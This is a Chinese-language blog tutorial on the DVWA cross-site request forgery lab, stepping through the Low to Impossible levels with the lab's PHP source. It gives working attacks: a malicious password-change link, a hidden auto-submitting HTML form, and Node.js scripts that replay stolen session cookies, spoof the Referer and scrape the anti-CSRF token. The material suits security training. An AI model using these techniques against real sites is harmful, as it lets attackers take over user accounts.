網絡安全入門之跨站請求僞造 DVWA CSRF Low to High

1. 背景

最近需要補充一下網絡安全方面的知識,於是就從基礎的靶場 DVWA (Damn Vulnerable Web Application) 開始刷起,這一篇是關於從LowHigh難度的跨站請求僞造的內容。

和我一樣希望學習網絡安全知識的同學,推薦學習《Web安全攻防實戰》《安全攻防技能30講》

2. 環境搭建

參考上一篇關於 Brute Force 暴力破解密碼的博客

3. 跨站請求僞造

我們需要在用戶不知情的情況下改掉用戶的密碼。

3.1. Low

Figure 1. CSRF \text{Figure 1. CSRF}

先看源碼,Low難度沒有設置任何請求來源的校驗。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

只需要讓他人點擊下面的鏈接,密碼就修改成功了。

http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change#

不過這個鏈接太明顯了,我們也可以構造一個頁面放在自己的服務器上。

<!-- index.html -->
<!DOCTYPE html>
<html lang="zh">

    <head>
        <meta charset="UTF-8"> <!-- for HTML5 -->
        <style>
            div {
                text-align: center;
            }

        </style>
    </head>

    <body>
        <div>
            <p>
                頁面跳轉中,請稍候。。。
            </p>

            <style>
                form {
                    display: none;
                }

            </style>
            <form action="http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/"
                method="GET">
                New password:<br />
                <input type="password" AUTOCOMPLETE="off" name="password_new" value="hackerPassword"><br />
                Confirm new password:<br />
                <input type="password" AUTOCOMPLETE="off" name="password_conf" value="hackerPassword"><br />
                <br />
                <input type="submit" id="button" name="Change" value="Change" />
            </form>
            <script>
                document.getElementById("button").click();

            </script>
        </div>
    </body>

</html>

點擊以後就會發送請求改變用戶的密碼。

Figure 2. Low \text{Figure 2. Low}

3.2. Medium

接下來是Medium難度,先看源碼。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

這裏加入了一個來源的校驗,我們可以看一看這段代碼的含義

// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos函數:

stripos ( string $haystack , string $needle [, int $offset = 0 ] ) : int

返回在字符串 haystackneedle 首次出現的數字位置。

  • $_SERVER 是一個包含了諸如頭信息(header)路徑(path)、以及腳本位置(script locations)等等信息的數組。這個數組中的項目由 Web 服務器創建。

  • HTTP_REFERER:引導用戶代理到當前頁的前一頁的地址(如果存在)。由 user agent 設置決定。並不是所有的用戶代理都會設置該項,有的還提供了修改 HTTP_REFERER 的功能。簡言之,該值並不可信。

  • SERVER_NAME:當前運行腳本所在的服務器的主機名。如果腳本運行於虛擬主機中,該名稱是由那個虛擬主機所設置的值決定。

HTTP_REFERER不能通過jQuery請求僞造發送。

Figure 3. Set Header \text{Figure 3. Set Header}

使用Ajax發送請求還會遇到跨域問題。

Figure 4. CORS \text{Figure 4. CORS}

也就是說,使用前端僞造請求可能會遇到各種障礙,我們就考慮用服務端來僞造請求。而使用服務端的話,我們就需要利用別的漏洞來竊取到用戶的Cookie

這裏我們使用DOM XSS來竊取用戶的Cookie,詳情參考 網絡安全入門之跨站腳本攻擊 DVWA XSS DOM Low to High 這一篇博客。

那麼假設我們現在已經竊取到了用戶的Cookie

"security=medium; PHPSESSID=8jkvdfa07u9jgornta8862b9d0"

在服務端使用Node.jsrequest組件發送HTTP請求。

var request = require('request');
    const options = {
        url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change#',
        method: "GET",
        headers: {
            "Content-Type": "text/html;charset=utf-8",
            Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
            Cookie: "security=medium; PHPSESSID=8jkvdfa07u9jgornta8862b9d0"
        }
    };

function callback(error, response, body) {
    if (!error && response.statusCode == 200) {
        console.log("Success") // 請求成功的處理邏輯
        console.log(body) // 請求成功的處理邏輯
        console.log(typeof(body))
    } else {
        console.log("Error") // 請求失敗的處理邏輯
        console.log(error) // 請求失敗的處理邏輯
    }
}

var res = request(options, callback);

從返回的HTML中我們也可以看到,密碼已經成功被我們修改了。


Figure 5. Medium \text{Figure 5. Medium}

3.3. High

High難度加入了Anti-CSRF token

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

不過這裏有一個漏洞,就是token存在了前端代碼中,這又給了我們竊取token的機會。

Figure 6. Token \text{Figure 6. Token}

同樣先拿到Cookie

"security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"

使用Node.js先發送一次請求,拿到token,然後把token加入到GET請求中,再發送一次請求。

const cheerio = require('cheerio')
const request = require('request');
var $;
var tokenThis;

var options = {
    url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/',
    method: "GET",
    headers: {
        "Content-Type": "text/html;charset=utf-8",
        Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
        Cookie: "security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"
    }
};

function callback(error, response, body) {
    if (!error && response.statusCode == 200) {
        console.log("Success") // 請求成功的處理邏輯
        // 獲取html對象
        $ = cheerio.load(JSON.stringify(body))
        // 獲取token
        tokenThis = $('input[name="user_token"]').attr('value');
        console.log(body) // 請求成功的處理邏輯
    } else {
        console.log("Error") // 請求失敗的處理邏輯
        console.log(error) // 請求失敗的處理邏輯
    }
}

// 設置第二次請求的參數
function setOpt() {
    var options2 = {
        url: 'http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:7147/web/vulnerabilities/csrf/?password_new=hackerPassword&password_conf=hackerPassword&Change=Change&user_token=' +
            tokenThis,
        method: "GET",
        headers: {
            "Content-Type": "text/html;charset=utf-8",
            Referer: "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud",
            Cookie: "security=high; PHPSESSID=f3klut5ds454k782h5ea0prol5"
        }
    }
    return options2
};

// Node.js是異步的,我們這裏需要同步執行所以用到了Promise和then
fn = ()=>{return new Promise(
        (resovle, reject) => {
            var res = resovle;
            request(options, (error, response, body) => {
                callback(error, response, body);
                res()});
        }
    )
}
// 同步
fn().then(
    () => {
        request(setOpt(), callback);
    }
)

修改成功。

Figure 7. High \text{Figure 7. High}

3.3. Impossible

Impossible難度加入了原密碼的校驗,在不知道原密碼的情況下無法對密碼進行修改,這樣是比較安全的。

Figure 8. Impossible \text{Figure 8. Impossible}

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

聯繫郵箱[email protected]

CSDNhttps://me.csdn.net/qq_41729780

知乎https://zhuanlan.zhihu.com/c_1225417532351741952

公衆號複雜網絡與機器學習

歡迎關注/轉載,有問題歡迎通過郵箱交流。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章